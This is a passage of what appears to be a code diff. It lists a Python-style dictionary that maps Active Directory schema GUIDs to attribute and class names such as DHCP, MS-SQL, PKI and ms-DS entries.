'dhcp-Mask', - '1f2ac2c8-3b71-11d2-90cc-00c04fd91ab1': 'Move-Tree-State', - 'a6f24a23-d65c-4d65-a64f-35fb6873c2b9': 'ms-RADIUS-FramedInterfaceId', - 'f0f8ffa3-1191-11d0-a060-00aa006c33ed': 'Phone-Mobile-Primary', - 'bf967a70-0de6-11d0-a285-00aa003049e2': 'USN-Created', - '1e02d2ef-44ad-46b2-a67d-9fd18d780bca': 'ms-DS-Repl-Value-Meta-Data-Ext', - '963d2754-48be-11d1-a9c3-0000f80367c1': 'dhcp-MaxKey', - '998b10f7-aa1a-4364-b867-753d197fe670': 'ms-COM-DefaultPartitionLink', - 'a4da7289-92a3-42e5-b6b6-dad16d280ac9': 'ms-RADIUS-SavedFramedInterfaceId', - 'f0f8ffa5-1191-11d0-a060-00aa006c33ed': 'Phone-Office-Other', - 'bf967a71-0de6-11d0-a285-00aa003049e2': 'USN-DSA-Last-Obj-Removed', - '6055f766-202e-49cd-a8be-e52bb159edfb': 'ms-DS-Drs-Farm-ID', - '09f0506a-cd28-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPCube', - '5ef243a8-2a25-45a6-8b73-08a71ae677ce': 'ms-Kds-Prov-ServerConfiguration', - '963d2744-48be-11d1-a9c3-0000f80367c1': 'dhcp-Obj-Description', - '430f678b-889f-41f2-9843-203b5a65572f': 'ms-COM-ObjectId', - 'f63ed610-d67c-494d-87be-cd1e24359a38': 'ms-RADIUS-FramedIpv6Prefix', - 'f0f8ffa4-1191-11d0-a060-00aa006c33ed': 'Phone-Pager-Other', - 'a8df7498-c5ea-11d1-bbcb-0080c76670c0': 'USN-Intersite', - 'b5f1edfe-b4d2-4076-ab0f-6148342b0bf6': 'ms-DS-Issuer-Public-Certificates', - '963d2743-48be-11d1-a9c3-0000f80367c1': 'dhcp-Obj-Name', - '09abac62-043f-4702-ac2b-6ca15eee5754': 'ms-COM-PartitionLink', - '0965a062-b1e1-403b-b48d-5c0eb0e952cc': 'ms-RADIUS-SavedFramedIpv6Prefix', - 'f0f8ffa6-1191-11d0-a060-00aa006c33ed': 'Phone-Pager-Primary', - 'bf967a73-0de6-11d0-a285-00aa003049e2': 'USN-Last-Obj-Rem', - '60686ace-6c27-43de-a4e5-f00c2f8d3309': 'ms-DS-IsManaged', - 'ca7b9735-4b2a-4e49-89c3-99025334dc94': 'ms-TAPI-Rt-Conference', - 'aa02fd41-17e0-4f18-8687-b2239649736b': 'ms-Kds-Prov-RootKey', - '963d274f-48be-11d1-a9c3-0000f80367c1': 'dhcp-Options', - '67f121dc-7d02-4c7d-82f5-9ad4c950ac34': 'ms-COM-PartitionSetLink', - '5a5aa804-3083-4863-94e5-018a79a22ec0': 'ms-RADIUS-FramedIpv6Route', - '9c979768-ba1a-4c08-9632-c6a5c1ed649a': 'photo', - '167758ad-47f3-11d1-a9c3-0000f80367c1': 'USN-Source', - '5315ba8e-958f-4b52-bd38-1349a304dd63': 'ms-DS-Cloud-IsManaged', - '963d2753-48be-11d1-a9c3-0000f80367c1': 'dhcp-Properties', - '9e6f3a4d-242c-4f37-b068-36b57f9fc852': 'ms-COM-UserLink', - '9666bb5c-df9d-4d41-b437-2eec7e27c9b3': 'ms-RADIUS-SavedFramedIpv6Route', - 'bf9679f7-0de6-11d0-a285-00aa003049e2': 'Physical-Delivery-Office-Name', - '4d2fa380-7f54-11d2-992a-0000f87a57d4': 'Valid-Accesses', - '78565e80-03d4-4fe3-afac-8c3bca2f3653': 'ms-DS-Cloud-Anchor', - '53ea1cb5-b704-4df9-818f-5cb4ec86cac1': 'ms-TAPI-Rt-Person', - '7b8b558a-93a5-4af7-adca-c017e67f1057': 'ms-DS-Group-Managed-Service-Account', - '963d2748-48be-11d1-a9c3-0000f80367c1': 'dhcp-Ranges', - '8e940c8a-e477-4367-b08d-ff2ff942dcd7': 'ms-COM-UserPartitionSetLink', - '3532dfd8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Name', - 'b7b13119-b82e-11d0-afee-0000f80367c1': 'Physical-Location-Object', - '281416df-1968-11d0-a28f-00aa003049e2': 'Vendor', - 'a1e8b54f-4bd6-4fd2-98e2-bcee92a55497': 'ms-DS-Cloud-Issuer-Public-Certificates', - '963d274a-48be-11d1-a9c3-0000f80367c1': 'dhcp-Reservations', - 'e85e1204-3434-41ad-9b56-e2901228fff0': 'MS-DRM-Identity-Certificate', - '48fd44ea-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-RegisteredOwner', - '8d3bca50-1d7e-11d0-a081-00aa006c33ed': 'Picture', - 'bf967a76-0de6-11d0-a285-00aa003049e2': 'Version-Number', - '89848328-7c4e-4f6f-a013-28ce3ad282dc': 'ms-DS-Cloud-IsEnabled', - '50ca5d7d-5c8b-4ef3-b9df-5b66d491e526': 'ms-WMI-IntRangeParam', - 'e3c27fdf-b01d-4f4e-87e7-056eef0eb922': 'ms-DS-Value-Type', - '963d2745-48be-11d1-a9c3-0000f80367c1': 'dhcp-Servers', - '80863791-dbe9-4eb8-837e-7f0ab55d9ac7': 'ms-DS-Additional-Dns-Host-Name', - '4f6cbdd8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Contact', - 'fc5a9106-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Critical-Extensions', - '7d6c0e9a-7e20-11d0-afd6-00c04fd930c9': 'Version-Number-Hi', - 'b7acc3d2-2a74-4fa4-ac25-e63fe8b61218': 'ms-DS-SyncServerUrl', - '963d2749-48be-11d1-a9c3-0000f80367c1': 'dhcp-Sites', - '975571df-a4d5-429a-9f59-cdc6581d91e6': 'ms-DS-Additional-Sam-Account-Name', - '561c9644-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Location', - '1ef6336e-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Default-CSPs', - '7d6c0e9b-7e20-11d0-afd6-00c04fd930c9': 'Version-Number-Lo', - 'de0caa7f-724e-4286-b179-192671efc664': 'ms-DS-User-Allowed-To-Authenticate-To', - '292f0d9a-cf76-42b0-841f-b650f331df62': 'ms-WMI-IntSetParam', - '2eeb62b3-1373-fe45-8101-387f1676edc7': 'ms-DS-Claims-Transformation-Policy-Type', - '963d2752-48be-11d1-a9c3-0000f80367c1': 'dhcp-State', - 'd3aa4a5c-4e03-4810-97aa-2b339e7a434b': 'MS-DS-All-Users-Trust-Quota', - '5b5d448c-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Memory', - '426cae6e-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Default-Key-Spec', - '1f0075fd-7e40-11d0-afd6-00c04fd930c9': 'Vol-Table-GUID', - '2c4c9600-b0e1-447d-8dda-74902257bdb5': 'ms-DS-User-Allowed-To-Authenticate-From', - '963d2746-48be-11d1-a9c3-0000f80367c1': 'dhcp-Subnets', - '8469441b-9ac4-4e45-8205-bd219dbf672d': 'ms-DS-Allowed-DNS-Suffixes', - '603e94c4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Build', - '926be278-56f9-11d2-90d0-00c04fd91ab1': 'PKI-Enrollment-Access', - '1f0075fb-7e40-11d0-afd6-00c04fd930c9': 'Vol-Table-Idx-GUID', - '8521c983-f599-420f-b9ab-b1222bdf95c1': 'ms-DS-User-TGT-Lifetime', - '07502414-fdca-4851-b04a-13645b11d226': 'ms-WMI-MergeablePolicyTemplate', - 'c8fca9b1-7d88-bb4f-827a-448927710762': 'ms-DS-Claims-Transformation-Policies', - '963d273b-48be-11d1-a9c3-0000f80367c1': 'dhcp-Type', - '800d94d7-b7a1-42a1-b14d-7cae1423d07f': 'ms-DS-Allowed-To-Delegate-To', - '64933a3e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-ServiceAccount', - '041570d2-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Expiration-Period', - '34aaa217-b699-11d0-afee-0000f80367c1': 'Volume-Count', - '105babe9-077e-4793-b974-ef0410b62573': 'ms-DS-Computer-Allowed-To-Authenticate-To', - '963d273a-48be-11d1-a9c3-0000f80367c1': 'dhcp-Unique-Key', - 'c4af1073-ee50-4be0-b8c0-89a41fe99abe': 'ms-DS-Auxiliary-Classes', - '696177a6-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-CharacterSet', - '18976af6-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Extended-Key-Usage', - '244b2970-5abd-11d0-afd2-00c04fd930c9': 'Wbem-Path', - '2e937524-dfb9-4cac-a436-a5b7da64fd66': 'ms-DS-Computer-TGT-Lifetime', - '55dd81c9-c312-41f9-a84d-c6adbdf1e8e1': 'ms-WMI-ObjectEncoding', - '641e87a4-8326-4771-ba2d-c706df35e35a': 'ms-DS-Cloud-Extensions', - '963d2755-48be-11d1-a9c3-0000f80367c1': 'dhcp-Update-Time', - 'e185d243-f6ce-4adb-b496-b0c005d7823c': 'ms-DS-Approx-Immed-Subordinates', - '6ddc42c0-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-SortOrder', - 'e9b0a87e-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Key-Usage', - '05308983-7688-11d1-aded-00c04fd8d5cd': 'Well-Known-Objects', - 'f2973131-9b4d-4820-b4de-0474ef3b849f': 'ms-DS-Service-Allowed-To-Authenticate-To', - 'bf967953-0de6-11d0-a285-00aa003049e2': 'Display-Name', - '3e1ee99c-6604-4489-89d9-84798a89515a': 'ms-DS-AuthenticatedAt-DC', - '72dc918a-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-UnicodeSortOrder', - 'f0bfdefa-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Max-Issuing-Depth', - 'bf967a77-0de6-11d0-a285-00aa003049e2': 'When-Changed', - '97da709a-3716-4966-b1d1-838ba53c3d89': 'ms-DS-Service-Allowed-To-Authenticate-From', - 'e2bc80f1-244a-4d59-acc6-ca5c4f82e6e1': 'ms-WMI-PolicyTemplate', - '310b55ce-3dcd-4392-a96d-c9e35397c24f': 'ms-DS-Device-Registration-Service-Container', - 'bf967954-0de6-11d0-a285-00aa003049e2': 'Display-Name-Printable', - 'e8b2c971-a6df-47bc-8d6f-62770d527aa5': 'ms-DS-AuthenticatedTo-Accountlist', - '7778bd90-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Clustered', - '1219a3ec-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Overlap-Period', - 'bf967a78-0de6-11d0-a285-00aa003049e2': 'When-Created', - '5dfe3c20-ca29-407d-9bab-8421e55eb75c': 'ms-DS-Service-TGT-Lifetime', - '9a7ad946-ca53-11d1-bbd0-0080c76670c0': 'DIT-Content-Rules', - '503fc3e8-1cc6-461a-99a3-9eee04f402a7': 'ms-DS-Az-Application-Data', - '7b91c840-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-NamedPipe', - '8447f9f1-1027-11d0-a05f-00aa006c33ed': 'PKT', - 'bf967a79-0de6-11d0-a285-00aa003049e2': 'Winsock-Addresses', - 'b23fc141-0df5-4aea-b33d-6cf493077b3f': 'ms-DS-Assigned-AuthN-Policy-Silo', - '595b2613-4109-4e77-9013-a3bb4ef277c7': 'ms-WMI-PolicyType', - '96bc3a1a-e3d2-49d3-af11-7b0df79d67f5': 'ms-DS-Device-Registration-Service', - 'fe6136a0-2073-11d0-a9c2-00aa006c33ed': 'Division', - 'db5b0728-6208-4876-83b7-95d3e5695275': 'ms-DS-Az-Application-Name', - '8157fa38-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-MultiProtocol', - '8447f9f0-1027-11d0-a05f-00aa006c33ed': 'PKT-Guid', - 'bf967a7a-0de6-11d0-a285-00aa003049e2': 'WWW-Home-Page', - '33140514-f57a-47d2-8ec4-04c4666600c7': 'ms-DS-Assigned-AuthN-Policy-Silo-BL', - 'f0f8ff8b-1191-11d0-a060-00aa006c33ed': 'DMD-Location', - '7184a120-3ac4-47ae-848f-fe0ab20784d4': 'ms-DS-Az-Application-Version', - '86b08004-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-SPX', - '19405b96-3cfa-11d1-a9c0-0000f80367c1': 'Policy-Replication-Flags', - '9a9a0221-4a5b-11d1-a9c3-0000f80367c1': 'WWW-Page-Other', - '164d1e05-48a6-4886-a8e9-77a2006e3c77': 'ms-DS-AuthN-Policy-Silo-Members', - '45fb5a57-5018-4d0f-9056-997c8c9122d9': 'ms-WMI-RangeParam', - '7c9e8c58-901b-4ea8-b6ec-4eb9e9fc0e11': 'ms-DS-Device-Container', - '167757b9-47f3-11d1-a9c3-0000f80367c1': 'DMD-Name', - '33d41ea8-c0c9-4c92-9494-f104878413fd': 'ms-DS-Az-Biz-Rule', - '8ac263a6-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-TCPIP', - '281416c4-1968-11d0-a28f-00aa003049e2': 'Port-Name', - 'bf967a7b-0de6-11d0-a285-00aa003049e2': 'X121-Address', - '11fccbc7-fbe4-4951-b4b7-addf6f9efd44': 'ms-DS-AuthN-Policy-Silo-Members-BL', - '2df90d86-009f-11d2-aa4c-00c04fd7d83a': 'DN-Reference-Update', - '52994b56-0e6c-4e07-aa5c-ef9d7f5a0e25': 'ms-DS-Az-Biz-Rule-Language', - '8fda89f4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-AppleTalk', - 'bf9679fa-0de6-11d0-a285-00aa003049e2': 'Poss-Superiors', - 'd07da11f-8a3d-42b6-b0aa-76c962be719a': 'x500uniqueIdentifier', - 'cd26b9f3-d415-442a-8f78-7c61523ee95b': 'ms-DS-User-AuthN-Policy', - '6afe8fe2-70bc-4cce-b166-a96f7359c514': 'ms-WMI-RealRangeParam', - 'd2b1470a-8f84-491e-a752-b401ee00fe5c': 'ms-DS-AuthN-Policy-Silos', - 'e0fa1e65-9b45-11d0-afdd-00c04fd930c9': 'Dns-Allow-Dynamic', - '013a7277-5c2d-49ef-a7de-b765b36a3f6f': 'ms-DS-Az-Class-ID', - '94c56394-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Vines', - '9a7ad94c-ca53-11d1-bbd0-0080c76670c0': 'Possible-Inferiors', - 'bf967a7f-0de6-11d0-a285-00aa003049e2': 'X509-Cert', - '2f17faa9-5d47-4b1f-977e-aa52fabe65c8': 'ms-DS-User-AuthN-Policy-BL', - 'e0fa1e66-9b45-11d0-afdd-00c04fd930c9': 'Dns-Allow-XFR', - '6448f56a-ca70-4e2e-b0af-d20e4ce653d0': 'ms-DS-Az-Domain-Timeout', - '9a7d4770-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Status', - 'bf9679fb-0de6-11d0-a285-00aa003049e2': 'Post-Office-Box', - '612cb747-c0e8-4f92-9221-fdd5f15b550d': 'UnixUserPassword', - 'afb863c9-bea3-440f-a9f3-6153cc668929': 'ms-DS-Computer-AuthN-Policy', - '3c7e6f83-dd0e-481b-a0c2-74cd96ef2a66': 'ms-WMI-Rule', - '3a9adf5d-7b97-4f7e-abb4-e5b55c1c06b4': 'ms-DS-AuthN-Policies', - '72e39547-7b18-11d1-adef-00c04fd8d5cd': 'DNS-Host-Name', - 'f90abab0-186c-4418-bb85-88447c87222a': 'ms-DS-Az-Generate-Audits', - '9fcc43d4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastUpdatedDate', - 'bf9679fc-0de6-11d0-a285-00aa003049e2': 'Postal-Address', - '850fcc8f-9c6b-47e1-b671-7c654be4d5b3': 'UidNumber', - '2bef6232-30a1-457e-8604-7af6dbf131b8': 'ms-DS-Computer-AuthN-Policy-BL', - 'e0fa1e68-9b45-11d0-afdd-00c04fd930c9': 'Dns-Notify-Secondaries', - '665acb5c-bb92-4dbc-8c59-b3638eab09b3': 'ms-DS-Az-Last-Imported-Biz-Rule-Path', - 'a42cd510-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-InformationURL', - 'bf9679fd-0de6-11d0-a285-00aa003049e2': 'Postal-Code', - 'c5b95f0c-ec9e-41c4-849c-b46597ed6696': 'GidNumber', - '2a6a6d95-28ce-49ee-bb24-6d1fc01e3111': 'ms-DS-Service-AuthN-Policy', - 'f1e44bdf-8dd3-4235-9c86-f91f31f5b569': 'ms-WMI-ShadowObject', - 'f9f0461e-697d-4689-9299-37e61d617b0d': 'ms-DS-AuthN-Policy-Silo', - '675a15fe-3b70-11d2-90cc-00c04fd91ab1': 'DNS-Property', - '5e53368b-fc94-45c8-9d7d-daf31ee7112d': 'ms-DS-Az-LDAP-Query', - 'a92d23da-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-ConnectionURL', - 'bf9679fe-0de6-11d0-a285-00aa003049e2': 'Preferred-Delivery-Method', - 'a3e03f1f-1d55-4253-a0af-30c2a784e46e': 'Gecos', - '2c1128ec-5aa2-42a3-b32d-f0979ca9fcd2': 'ms-DS-Service-AuthN-Policy-BL', - 'f60a8f96-57c4-422c-a3ad-9e2fa09ce6f7': 'ms-DS-Device-MDMStatus', - 'e0fa1e69-9b45-11d0-afdd-00c04fd930c9': 'Dns-Record', - 'cfb9adb7-c4b7-4059-9568-1ed9db6b7248': 'ms-DS-Az-Major-Version', - 'ae0c11b8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-PublicationURL', - '856be0d0-18e7-46e1-8f5f-7ee4d9020e0d': 'preferredLanguage', - 'bc2dba12-000f-464d-bf1d-0808465d8843': 'UnixHomeDirectory', - 'b87a0ad8-54f7-49c1-84a0-e64d12853588': 'ms-DS-Assigned-AuthN-Policy', - '6cc8b2b5-12df-44f6-8307-e74f5cdee369': 'ms-WMI-SimplePolicyTemplate', - 'a11703b7-5641-4d9c-863e-5fb3325e74e0': 'ms-DS-GeoCoordinates-Altitude', - 'bf967959-0de6-11d0-a285-00aa003049e2': 'Dns-Root', - 'ee85ed93-b209-4788-8165-e702f51bfbf3': 'ms-DS-Az-Minor-Version', - 'b222ba0e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSLatitude', - 'bf9679ff-0de6-11d0-a285-00aa003049e2': 'Preferred-OU', - 'a553d12c-3231-4c5e-8adf-8d189697721e': 'LoginShell', - '2d131b3c-d39f-4aee-815e-8db4bc1ce7ac': 'ms-DS-Assigned-AuthN-Policy-BL', - 'dc66d44e-3d43-40f5-85c5-3c12e169927e': 'ms-DS-GeoCoordinates-Latitude', - 'e0fa1e67-9b45-11d0-afdd-00c04fd930c9': 'Dns-Secure-Secondaries', - 'a5f3b553-5d76-4cbe-ba3f-4312152cab18': 'ms-DS-Az-Operation-ID', - 'b7577c94-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSLongitude', - '52458022-ca6a-11d0-afff-0000f80367c1': 'Prefix-Map', - 'f8f2689c-29e8-4843-8177-e8b98e15eeac': 'ShadowLastChange', - '7a560cc2-ec45-44ba-b2d7-21236ad59fd5': 'ms-DS-AuthN-Policy-Enforced', - 'ab857078-0142-4406-945b-34c9b6b13372': 'ms-WMI-Som', - '94c42110-bae4-4cea-8577-af813af5da25': 'ms-DS-GeoCoordinates-Longitude', - 'd5eb2eb7-be4e-463b-a214-634a44d7392e': 'DNS-Tombstoned', - '515a6b06-2617-4173-8099-d5605df043c6': 'ms-DS-Az-Scope-Name', - 'bcdd4f0e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSHeight', - 'a8df744b-c5ea-11d1-bbcb-0080c76670c0': 'Presentation-Address', - 'a76b8737-e5a1-4568-b057-dc12e04be4b2': 'ShadowMin', - 'f2f51102-6be0-493d-8726-1546cdbc8771': 'ms-DS-AuthN-Policy-Silo-Enforced', - 'bd29bf90-66ad-40e1-887b-10df070419a6': 'ms-DS-External-Directory-Object-Id', - 'f18a8e19-af5f-4478-b096-6f35c27eb83f': 'documentAuthor', - '2629f66a-1f95-4bf3-a296-8e9d7b9e30c8': 'ms-DS-Az-Script-Engine-Cache-Max', - 'c07cc1d0-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Version', - '963d2739-48be-11d1-a9c3-0000f80367c1': 'Previous-CA-Certificates', - 'f285c952-50dd-449e-9160-3b880d99988d': 'ShadowMax', - '0bc579a2-1da7-4cea-b699-807f3b9d63a4': 'ms-WMI-StringSetParam', - '0b21ce82-ff63-46d9-90fb-c8b9f24e97b9': 'documentIdentifier', - '87d0fb41-2c8b-41f6-b972-11fdfd50d6b0': 'ms-DS-Az-Script-Timeout', - 'c57f72f4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Language', - '963d273d-48be-11d1-a9c3-0000f80367c1': 'Previous-Parent-CA', - '7ae89c9c-2976-4a46-bb8a-340f88560117': 'ShadowWarning', - '2628a46a-a6ad-4ae0-b854-2b12d9fe6f9e': 'account', - 'bf967aa1-0de6-11d0-a285-00aa003049e2': 'Mail-Recipient', - 'b958b14e-ac6d-4ec4-8892-be70b69f7281': 'documentLocation', - '7b078544-6c82-4fe9-872f-ff48ad2b2e26': 'ms-DS-Az-Task-Is-Role-Definition', - '8386603c-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-Description', - 'bf967a00-0de6-11d0-a285-00aa003049e2': 'Primary-Group-ID', - '86871d1f-3310-4312-8efd-af49dcfb2671': 'ShadowInactive', - 'bf967a83-0de6-11d0-a285-00aa003049e2': 'Class-Schema', - 'd9a799b2-cef3-48b3-b5ad-fb85f8dd3214': 'ms-WMI-UintRangeParam', - '59527d0f-b7c0-4ce2-a1dd-71cef6963292': 'ms-DS-Is-Compliant', - '170f09d7-eb69-448a-9a30-f1afecfd32d7': 'documentPublisher', - '8491e548-6c38-4365-a732-af041569b02c': 'ms-DS-Az-Object-Guid', - 'ca48eba8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Type', - 'c0ed8738-7efd-4481-84d9-66d2db8be369': 'Primary-Group-Token', - '75159a00-1fff-4cf4-8bff-4ef2695cf643': 'ShadowExpire', - 'd1328fbc-8574-4150-881d-0b1088827878': 'ms-DS-Key-Principal-BL', - 'de265a9c-ff2c-47b9-91dc-6e6fe2c43062': 'documentTitle', - 'b5f7e349-7a5b-407c-a334-a31c3f538b98': 'ms-DS-Az-Generic-Data', - 'd0aedb2e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-InformationDirectory', - '281416d7-1968-11d0-a28f-00aa003049e2': 'Print-Attributes', - '8dfeb70d-c5db-46b6-b15e-a4389e6cee9b': 'ShadowFlag', - '7f561288-5301-11d1-a9c5-0000f80367c1': 'ACS-Policy', - '8f4beb31-4e19-46f5-932e-5fa03c339b1d': 'ms-WMI-UintSetParam', - 'c4a46807-6adc-4bbb-97de-6bed181a1bfe': 'ms-DS-Device-Trust-Type', - '94b3a8a9-d613-4cec-9aad-5fbcc1046b43': 'documentVersion', - 'd31a8757-2447-4545-8081-3bb610cacbf2': 'ms-DS-Behavior-Version', - 'd5a0dbdc-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Database', - '281416cd-1968-11d0-a28f-00aa003049e2': 'Print-Bin-Names', - '03dab236-672e-4f61-ab64-f77d2dc2ffab': 'MemberUid', - '1dcc0722-aab0-4fef-956f-276fe19de107': 'ms-DS-Shadow-Principal-Sid', - '7bfdcb7a-4807-11d1-a9c3-0000f80367c1': 'Domain-Certificate-Authorities', - 'f0d8972e-dd5b-40e5-a51d-044c7c17ece7': 'ms-DS-Byte-Array', - 'db77be4a-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-AllowAnonymousSubscription', - '281416d2-1968-11d0-a28f-00aa003049e2': 'Print-Collate', - '0f6a17dc-53e5-4be8-9442-8f3ce2f9012a': 'MemberNisNetgroup', - '2e899b04-2834-11d3-91d4-0000f87a57d4': 'ACS-Resource-Limits', - 'b82ac26b-c6db-4098-92c6-49c18a3336e1': 'ms-WMI-UnknownRangeParam', - '19195a55-6da0-11d0-afd3-00c04fd930c9': 'Domain-Component', - '69cab008-cdd4-4bc9-bab8-0ff37efe1b20': 'ms-DS-Cached-Membership', - 'e0c6baae-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Alias', - '281416d3-1968-11d0-a28f-00aa003049e2': 'Print-Color', - 'a8032e74-30ef-4ff5-affc-0fc217783fec': 'NisNetgroupTriple', - '11f95545-d712-4c50-b847-d2781537c633': 'ms-DS-Shadow-Principal-Container', - 'b000ea7b-a086-11d0-afdd-00c04fd930c9': 'Domain-Cross-Ref', - '3566bf1f-beee-4dcb-8abe-ef89fcfec6c1': 'ms-DS-Cached-Membership-Time-Stamp', - 'e9098084-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Size', - '281416cc-1968-11d0-a28f-00aa003049e2': 'Print-Duplex-Supported', - 'ff2daebf-f463-495a-8405-3e483641eaa2': 'IpServicePort', - '7f561289-5301-11d1-a9c5-0000f80367c1': 'ACS-Subnet', - '05630000-3927-4ede-bf27-ca91f275c26f': 'ms-WMI-WMIGPO', - '963d2734-48be-11d1-a9c3-0000f80367c1': 'Domain-ID', - '23773dc2-b63a-11d2-90e1-00c04fd91ab1': 'MS-DS-Consistency-Guid', - 'ede14754-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-CreationDate', - '281416ca-1968-11d0-a28f-00aa003049e2': 'Print-End-Time', - 'cd96ec0b-1ed6-43b4-b26b-f170b645883f': 'IpServiceProtocol', - '770f4cb3-1643-469c-b766-edd77aa75e14': 'ms-DS-Shadow-Principal', - '7f561278-5301-11d1-a9c5-0000f80367c1': 'Domain-Identifier', - '178b7bc2-b63a-11d2-90e1-00c04fd91ab1': 'MS-DS-Consistency-Child-Count', - 'f2b6abca-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastBackupDate', - '281416cb-1968-11d0-a28f-00aa003049e2': 'Print-Form-Name', - 'ebf5c6eb-0e2d-4415-9670-1081993b4211': 'IpProtocolNumber', - '3e74f60f-3e73-11d1-a9c0-0000f80367c1': 'Address-Book-Container', - '9a0dc344-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Configuration', - 'c294f84b-2fad-4b71-be4c-9fc5701f60ba': 'ms-DS-Key-Id', - 'bf96795d-0de6-11d0-a285-00aa003049e2': 'Domain-Policy-Object', - 'c5e60132-1480-11d3-91c1-0000f87a57d4': 'MS-DS-Creator-SID', - 'f6d6dd88-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastDiagnosticDate', - 'ba305f6d-47e3-11d0-a1a6-00c04fd930c9': 'Print-Keep-Printed-Jobs', - '966825f5-01d9-4a5c-a011-d15ae84efa55': 'OncRpcNumber', - 'a12e0e9f-dedb-4f31-8f21-1311b958182f': 'ms-DS-Key-Material', - '80a67e2a-9f22-11d0-afdd-00c04fd930c9': 'Domain-Policy-Reference', - '234fcbd8-fb52-4908-a328-fd9f6e58e403': 'ms-DS-Date-Time', - 'fbcda2ea-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Applications', - '281416d6-1968-11d0-a28f-00aa003049e2': 'Print-Language', - 'de8bb721-85dc-4fde-b687-9657688e667e': 'IpHostNumber', - '5fd4250a-1262-11d0-a060-00aa006c33ed': 'Address-Template', - '876d6817-35cc-436c-acea-5ef7174dd9be': 'MSMQ-Custom-Recipient', - 'de71b44c-29ba-4597-9eca-c3348ace1917': 'ms-DS-Key-Usage', - 'bf96795e-0de6-11d0-a285-00aa003049e2': 'Domain-Replica', - '6818f726-674b-441b-8a3a-f40596374cea': 'ms-DS-Default-Quota', - '01e9a98a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-Keywords', - 'ba305f7a-47e3-11d0-a1a6-00c04fd930c9': 'Print-MAC-Address', - '4e3854f4-3087-42a4-a813-bb0c528958d3': 'IpNetworkNumber', - 'bd61253b-9401-4139-a693-356fc400f3ea': 'ms-DS-Key-Principal', - '80a67e29-9f22-11d0-afdd-00c04fd930c9': 'Domain-Wide-Policy', - 'a9b38cb6-189a-4def-8a70-0fcfa158148e': 'ms-DS-Deleted-Object-Lifetime', - 'c1676858-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-Publisher', - '281416d1-1968-11d0-a28f-00aa003049e2': 'Print-Max-Copies', - '6ff64fcd-462e-4f62-b44a-9a5347659eb9': 'IpNetmaskNumber', - '3fdfee4f-47f4-11d1-a9c3-0000f80367c1': 'Application-Entity', - '9a0dc345-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Enterprise-Settings', - '642c1129-3899-4721-8e21-4839e3988ce5': 'ms-DS-Device-DN', - '1a1aa5b5-262e-4df6-af04-2cf6b0d80048': 'drink', - '2143acca-eead-4d29-b591-85fa49ce9173': 'ms-DS-DnsRootAlias', - 'c3bb7054-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowKnownPullSubscription', - '281416cf-1968-11d0-a28f-00aa003049e2': 'Print-Max-Resolution-Supported', - 'e6a522dd-9770-43e1-89de-1de5044328f7': 'MacAddress', - 'dffbd720-0872-402e-9940-fcd78db049ba': 'ms-DS-Computer-SID', - '281416c5-1968-11d0-a28f-00aa003049e2': 'Driver-Name', - '5706aeaf-b940-4fb2-bcfc-5268683ad9fe': 'ms-DS-Enabled-Feature', - 'c4186b6e-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowImmediateUpdatingSubscription', - 'ba305f6f-47e3-11d0-a1a6-00c04fd930c9': 'Print-Max-X-Extent', - 'd72a0750-8c7c-416e-8714-e65f11e908be': 'BootParameter', - '5fd4250b-1262-11d0-a060-00aa006c33ed': 'Application-Process', - '46b27aac-aafa-4ffb-b773-e5bf621ee87b': 'MSMQ-Group', - 'b6e5e988-e5e4-4c86-a2ae-0dacb970a0e1': 'ms-DS-Custom-Key-Information', - 'ba305f6e-47e3-11d0-a1a6-00c04fd930c9': 'Driver-Version', - 'ce5b01bc-17c6-44b8-9dc1-a9668b00901b': 'ms-DS-Enabled-Feature-BL', - 'c458ca80-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowQueuedUpdatingSubscription', - 